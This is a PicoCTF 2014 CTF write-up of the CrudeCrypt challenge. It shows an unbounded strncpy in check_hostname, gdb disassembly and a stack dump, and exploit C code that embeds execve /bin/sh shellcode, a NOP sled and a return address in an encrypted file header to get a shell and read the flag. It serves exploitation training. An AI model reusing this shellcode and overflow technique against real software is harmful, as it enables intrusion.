# PicoCTF 2k14 - CrudeCrypt


# cd /home/crudecrypt
# cat crude_crypt.c 
...

bool check_hostname(file_header* header) {
    char saved_host[HOST_LEN], current_host[HOST_LEN];
    strncpy(saved_host, header->host, strlen(header->host));
    safe_gethostname(current_host, HOST_LEN);
    return strcmp(saved_host, current_host) == 0;
}

...
# echo 'test' > ~/plain.txt
$ ./crude_crypt encrypt ~/plain.txt ~/encrypted.txt
-=- Welcome to CrudeCrypt 0.1 Beta -=-
-> File password: test

=> Encrypted file successfully

# gdb ./crude_crypt
(gdb) disassemble check_hostname
   0x08048e03 <+0>: push   ebp
   0x08048e04 <+1>: mov    ebp,esp
   0x08048e06 <+3>: sub    esp,0x58
   0x08048e09 <+6>: mov    eax,DWORD PTR [ebp+0x8]
   0x08048e0c <+9>: add    eax,0x8
   0x08048e0f <+12>: mov    DWORD PTR [esp],eax
   0x08048e12 <+15>: call   0x80488f0 <strlen@plt>
   0x08048e17 <+20>: mov    edx,DWORD PTR [ebp+0x8]
   0x08048e1a <+23>: add    edx,0x8
   0x08048e1d <+26>: mov    DWORD PTR [esp+0x8],eax
   0x08048e21 <+30>: mov    DWORD PTR [esp+0x4],edx
   0x08048e25 <+34>: lea    eax,[ebp-0x28]
   0x08048e28 <+37>: mov    DWORD PTR [esp],eax
   0x08048e2b <+40>: call   0x8048840 <strncpy@plt>
   0x08048e30 <+45>: mov    DWORD PTR [esp+0x4],0x20
   0x08048e38 <+53>: lea    eax,[ebp-0x48]
   0x08048e3b <+56>: mov    DWORD PTR [esp],eax
   0x08048e3e <+59>: call   0x8048b09 <safe_gethostname>
   0x08048e43 <+64>: lea    eax,[ebp-0x48]
   0x08048e46 <+67>: mov    DWORD PTR [esp+0x4],eax
   0x08048e4a <+71>: lea    eax,[ebp-0x28]
   0x08048e4d <+74>: mov    DWORD PTR [esp],eax
   0x08048e50 <+77>: call   0x80489a0 <strcmp@plt>
   0x08048e55 <+82>: test   eax,eax
   0x08048e57 <+84>: sete   al
   0x08048e5a <+87>: leave  
   0x08048e5b <+88>: ret

(gdb) b *0x08048e2b

(gdb) run decrypt ~/encrypted.txt ~/decrypted.txt
Starting program: /home/crudecrypt/crude_crypt decrypt ~/encrypted.txt ~/decrypted.txt
-=- Welcome to CrudeCrypt 0.1 Beta -=-
-> File password: test

Breakpoint 1, 0x08048e2b in check_hostname ()

(gdb) bt
#0  0x08048e2b in check_hostname ()
#1  0x08048f0e in decrypt_file ()
#2  0x08049154 in main ()

(gdb) x/24xw $esp
0xffffd4b0: 0xffffd4e0 0x0804c368 0x00000005 0x00000000
0xffffd4c0: 0xffffd508 0xf7ff0500 0xf7de8428 0xf7de8000
0xffffd4d0: 0x00000000 0x00000000 0xffffd508 0x08048c8d
0xffffd4e0: 0x0804c398 0x0804c360 0x00000030 0x0804925d
0xffffd4f0: 0xffffd548 0xf7ff0500 0x00000010 0x0804c398
0xffffd500: 0x00000000 0x00000000 0xffffd548 0x08048f0e

# cat ~/crude_xplt.c
...

void encrypt_file(FILE* raw_file, FILE* enc_file, unsigned char* key, char *offset) {
    int size = file_size(raw_file);
    size_t block_size = MULT_BLOCK_SIZE(sizeof(file_header) + size);
    char* padded_block = calloc(1, block_size);

    file_header header;
    init_file_header(&header, size);

    char *shellcode = "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80";
 
    int sc_sz = strlen(shellcode);
    int nops_sz = 48 - sc_sz - 4;

    memcpy(header.host, shellcode, sc_sz);
    memset(header.host + sc_sz, 0x90, nops_sz);
    memcpy(header.host + sc_sz + nops_sz, offset, 4);
    
    memcpy(padded_block, &header, sizeof(file_header));
    fread(padded_block + sizeof(file_header), 1, size, raw_file);

    if(encrypt_buffer(padded_block, block_size, (char*)key, 16) != 0) {
        printf("There was an error encrypting the file!\n");
        return;
    }

    printf("=> Encrypted file successfully\n");
    fwrite(padded_block, 1, block_size, enc_file);

    free(padded_block);
}

...
# gcc -m32 -std=c99 -o ~/crude_xplt ~/crude_xplt.c -lmcrypt -lcrypto
# ~/crude_xplt ~/plain.txt ~/encrypted.txt `python -c 'print "\xe0\xd4\xff\xff"'`
=> Encrypted file successfully
# (echo "test"; cat) | ./crude_crypt decrypt ~/encrypted.txt  ~/decrypted.txt
-=- Welcome to CrudeCrypt 0.1 Beta -=-
-> File password:
cat flag.txt
writing_software_is_hard

[ * ] Done by sha0 and t0n1

No comments: